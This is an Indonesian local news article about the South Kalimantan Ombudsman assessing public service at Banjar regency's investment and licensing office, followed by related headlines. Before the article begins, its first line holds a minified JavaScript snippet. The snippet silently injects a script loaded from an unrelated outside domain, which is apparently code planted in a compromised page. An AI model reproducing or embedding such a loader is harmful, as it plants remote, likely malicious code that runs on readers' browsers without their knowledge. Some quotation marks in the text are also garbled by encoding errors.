(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Ombudsman RI Perwakilan Kalsel kembali pantau pelayanan publik di Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTST) Kabupaten Banjar, Sabtu (26/5).
Kedatangan Ombudsman tersebut dibenarkan oleh Soeharto, Kepala Bidang Penanaman Modal DPMPTST Kabupaten Banjar. “Ya, tepatnya tiga hari yang lalu Ombudsman datang ke sini untuk menilai pelayanan publik yang kami berikan kepada masyarakat,” bebernya.
Perlu diketahui, berdasarkan hasil pelaporan pelayanan publik di Kabupaten Banjar kepada pihak Ombudsman RI Perwakilan Kalsel, tingkat pelayanan publik sejumlah instansi di Kabupaten Banjar masuk dalam kategori sedang.
Sebelumnya Ombudsman RI Perwakilan Kalsel memberikan nilai tertinggi atau rata-rata 100 atas tingkat pelayanan publik instansi paling baik di Pemkab Banjar oleh Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTST) Kabupaten Banjar, dari 30 layanan dengan nilai yang sangat baik dan memuaskan dan dapat ditiru oleh instansi lain.
Soeharto menjelaskan kepada Kanal Kalimantan adapun untuk proses pelayanan yang diberikan pihak DPMPTST Kabupaten Banjar yang mereka unggulkan adalah pertama
masyarakat datang langsung atau secara online untuk melakukan pendaftaran permohonan berkas perizinan dan setelah semua berkas diterima dan dianggap sudah lengkap, maka pemohon akan diberikan bukti tanda terima. Kedua setiap perkembangan kegiatan kemajuan proses permohonan mereka akan selalu diberi informasi melalui SMS gateway atas sejauh mana proses kemajuan perkembangan berkas tersebut.
“Sudah sampai dimana berkas itu selalu kita sampaikan, apakah sudah di tanda tangani oleh kepala dinas atau bidang hingga penerbitan,†ujar Soeharto.
Sementara itu sebelumnya ketika di temui kanal kalimantan diwaktu yang berbeda Kepala DPMPTST Drs Akhmad Hairuddin Fahri MM juga pernah menjelaskan, untuk waktu peroses penyelesaian pemberkasan berbeda-beda tergantung tujuan pemberkasan tersebut. “Namun kami selalu menyesuaikan berdasarkan SOP yang sudah ditentukan yaitu antara 7 hari sampai 14 hari,†ungkap jelasnya.
Pihak DPMPTST Kabupaten Banjar mengatakan akan terus meningkatkan dan mengoptimalkan pelayanan kepada masyarakat yang mengajukan perizinan. “kami selalu optimis dan akan berupaya untuk terus bisa memberikan pelayanan yang terbaik bagu masyarakat,” tegasnya.(rendy)
KANALKALIMANTAN.COM, AMUNTAI – Wujud komitmen Pemerintah Kabupaten Hulu Sungai Utara (HSU) melakukan penandatanganan perjanjian kinerja… Read More
KANALKALIMANTAN.COM, BANJARBARU - Iklim investasi Kota Banjarbaru menunjukkan tren positif. Berdasarkan data Dinas Penanaman Modal… Read More
KANALKALIMANTAN.COM, PARINGIN - Geografis pegunungan dan keterbatasan akses internet tidak menjadi penghalang bagi warga Kecamatan… Read More
KANALKALIMANTAN.COM, PURUK CAHU - Satuan Tugas Penertiban Kawasan Hutan (Satgas PKH) resmi mengambil alih dan… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi II DPR menyoroti tata kelola kawasan hutan menyusul temuan Satuan Tugas… Read More
KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More
This website uses cookies.